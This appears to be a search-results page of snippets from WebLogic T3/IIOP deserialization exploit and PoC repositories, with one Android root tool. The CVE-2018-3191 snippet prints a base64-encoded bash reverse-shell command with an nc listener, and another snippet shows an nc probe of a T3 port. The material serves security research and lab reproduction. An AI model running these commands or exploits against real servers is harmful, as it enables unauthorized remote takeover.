649 matches found
cve-2020-2555
CVE-2020-2555 运行Main.java会在当前目录下生成payload.ser，该payload可以使用t3协议发到目标服务器...
POC_CVE-2020-2555
POCCVE-2020-2555 CVE-2020-2555 的 PoC 三部分： 客户端与服务器：构建对象并发送到服务器，触发 gadgetchain。用于构建 owner 对象。 攻击：通过 T3 协议使用 pwntools 发送对象。...
CVE-2018-3191
Weblogic-CVE-2018-3191远程代码命令执行漏洞 weblogic For Docker 环境 0x00 简介 北京时间10月17日，Oracle官方发布的10月关键补丁更新CPU（Critical Patch Update）中修复了一个高危的WebLogic远程代码执行漏洞（CVE-2018-3191）。 该漏洞允许未经身份验证的攻击者通过T3协议网络访问并破坏易受攻击的WebLogic Server，成功的漏洞利用可导致WebLogic Server被攻击者接管，从而造成远程代码执行。 Oracle官方CPU链接：...
CVE-2022-21350
为什么两个poc 一个带 com.51pwn.hktalent.CreatJar.mainargs; 是用来创建最小生成payload工具时使用的 创建后使用另外一个 运行 CVE-2022-21350powerBy51pwn.jar 构建payload报错不影响payload的使用 other exp CVE20202551 CVE20202555 CVE20202883 CVE202014645 CVE202014756 CVE202014825 CVE202014841 CVE20212394 CVE202221306 CVE202221350 How use 1- generat...
CVE-2024-21006
CVE-2024-21006 CVE-2024-21006 描述 Oracle Fusion Middleware 的 Oracle WebLogic Server 产品（组件：Core）中存在漏洞。受支持的受影响版本为 12.2.1.4.0 和 14.1.1.0.0。该漏洞易于利用，允许未经身份验证的攻击者通过 T3、IIOP 网络访问破坏 Oracle WebLogic Server。成功利用此漏洞的攻击可导致未经授权访问关键数据，或完全访问所有 Oracle WebLogic Server 可访问的数据。CVSS 3.1 基础评分为 7.5（影响机密性）。CVSS...
Weblogic-CVE-2020-2551-To-Internet
Weblogic-CVE-2020-2551-To-Internet CVE-2020-2551 POC to use on the Internet 测试POC（可用于外网测试） python CVE-2020-2551.py HOST IP 尝试修改codebase进行远程类加载（失败） python CVE-2020-TEST.py HOST IP 浅谈 weblogic CVE-2020-2551 漏洞 & 外网POC构造 （首发于安全客，原文链接） 0x00 基础概念 学习这个漏洞需要一些前置知识，比如CORBA与RMI 简单的概述一下：...
Oracle WebLogic Server - Remote Code Execution
Oracle WebLogic Server 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 contains a remote code execution caused by unauthenticated access via T3, IIOP, letting attackers take over the server, exploit requires network access. id: CVE-2021-2135 info: name: Oracle WebLogic Server - Remote Code Execution author:...
CVE-2020-14756
CVE-2020-14756 WebLogic T3/IIOP 远程代码执行 ExternalizableHelper.class（来自 coherence.jar） 说明 项目基于 https://github.com/Y4er/CVE-2020-2555 和 weblogiccmd 已在 12.2.1.4.0 和 JDK 1.8.0221 上测试 参考 1. https://y4er.com/post/weblogic-cve-2020-14756/ 2. https://mp.weixin.qq.com/s/E-4wjbKD-iSi0CEMegVmZQ...
CVE-2023-21839
CVE-2023-21839 Análisis Esta vulnerabilidad se debe a que, tras vincular un objeto mediante el protocolo t3 o iiop, al invocar el método lookup o list se activa el método getReferent del objeto vinculado. Pila de llamadas del protocolo t3 getObjectInstance:96, WLNamingManager weblogic.jndi.intern...
CVE-2019-2890
CVE-2019-2890 CVE-2019-2890 WebLogic 的 T3 漏洞利用程序...
CVE_2020_2546
Twitter: @Hktalent3135773 1、Weblogic RCE 漏洞利用 CVE20202546 CVE-2020-2915 CVE-2020-2801 CVE-2020-2798 CVE-2020-2883 CVE-2020-2884 CVE-2020-2950 WebLogic RCE T3 payload 漏洞利用 poc python3 2、漏洞利用 GIOP + send bind（CVE-2020-2555、CVE-2019-2888、CVE-2019-2888 或其他） GIOP + send jta（rmi 或其他） GIOP + send jta +...
woodpecker-plugins
woodpecker-plugins usage 将插件复制到 woodpecker-framwork/plugin 目录下面，启动 java -jar woodpecker-framework.1.3.3.jar from https://github.com/woodpecker-appstore weblogic-info check T3 isOpen: echo 't3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'|nc 10.20.31.189 7001 check IIOP isOpen:...
WLT3Serial
WLT3Serial 针对WebLogic T3（及T3S）监听器的原生Java反序列化利用工具（概述见此处）。需要第三方依赖ysoserial和wlthint3client。 与JavaUnserializeExploits weblogic.py和loubia相比的优缺点 优点： 原生使用Java处理T3/T3S通信（针对大多数利用方式），而非使用Python脚本的一次性数据包捕获，因此应能适用于所有WebLogic服务器版本。 每次执行时通过ysoserial直接生成对象载荷，而非一次性生成的对象载荷，因此支持最新版ysoserial中的所有对象载荷类型。...
CVE-2018-3191
CVE-2018-3191 CVE-2018-3191 反弹shell 本地ip：172.16.38.1 Weblogic：172.16.38.174:7001 1、 本地执行 java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2222 CommonsCollections1 'bash -c echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMzguMS83Nzc3IDA+JjE=|base64,-d|bash,-i' 然后执行 nc -lvv 7777 （1） 其中的 bash...
CVE-2017-10271
LAB 2 - CVE-2017-10271：WebLogic XMLDecoder 反序列化漏洞 Writeup 一、系统分析 系统日志分析 检测到的服务： Oracle WebLogic Server（AdminServer，属于 basedomain，以 Development Mode 运行）。 连接端口： 7001。 支持的协议： http、t3、iiop、ldap、snmp。 攻击面评估： 该服务在 7001 端口上暴露了 t3 协议。如果 WebLogic 版本未针对与通过 RMI（远程方法调用）进行 Java 对象反序列化相关的漏洞打补丁，这一默认配置会带来高风险。 We...
CVE-2020-14645
CVE-2020-14645 使用方法 首先使用NDI-Injection-Exploit监听，并生成一个ldap地址。 java -jar WeblogicT3.jar -Target 127.0.0.1 -Port 7001 -RMI ldap://127.0.0.1:1389/dozvtq --SSL -Tatget 和-RMI必填，https可使用--SSL参数，-Port默认7001。 自行编译需要添加coherence.jar和wlfullclient.jar 漏洞参考：...
Weblogic_Vuln
Preface 文章详细分析了Weblogic历史从CVE-2015至CVE-2019相关历史漏洞，并整理相关POC于WeblogicVuln.记录学习Java反序列化漏洞的心得笔记.欢迎start、issue. WeblogicVuln CVE-2015-4852、CVE-2016-0638、CVE-2016-3510、CVE-2019-2890漏洞POC持续跟新... Env Jdk7u21 10.3.6.0 debian Paper Weblogic T3反序列化历史漏洞一...
iQOO-Z9_5G-vivo-T3_5G-Root-GhostLock
iQOO Z9 5G / vivo T3 5G 越狱 Root（GhostLock） 一款适用于 iQOO Z9 5G 和 vivo T3 5G 的越狱/Root Android 应用及 payload。这两款设备均使用 MediaTek Dimensity 7200（MT6886）平台。 支持两种运行方式：通过 Shizuku 运行 Android APK，或直接从 adb shell 运行原生辅助程序。两种方式均使用相同的设备专属 payload 和 KernelSU 守护进程。 CVE 与适用范围 此移植使用 CVE-2026-43499 Ghostlock...
CVE-2024-21182
CVE-2024-21182 — Oracle WebLogic Server T3/IIOP JNDI注入 → 远程代码执行（实验环境） 一个自包含、单命令的Docker实验环境，用于复现并验证 Oracle WebLogic Server OpaqueReference JNDI注入漏洞家族（CVE-2024-21182，CVE-2023-21839的补丁绕过）并实现未经身份验证的远程代码执行 。 ⚠️ 仅限授权的安全研究、教育和补丁验证使用。 参见免责声明。仅针对此实验环境或您拥有的系统运行。 本实验演示的内容 CVE-2024-21182 是 Oracle WebLogic...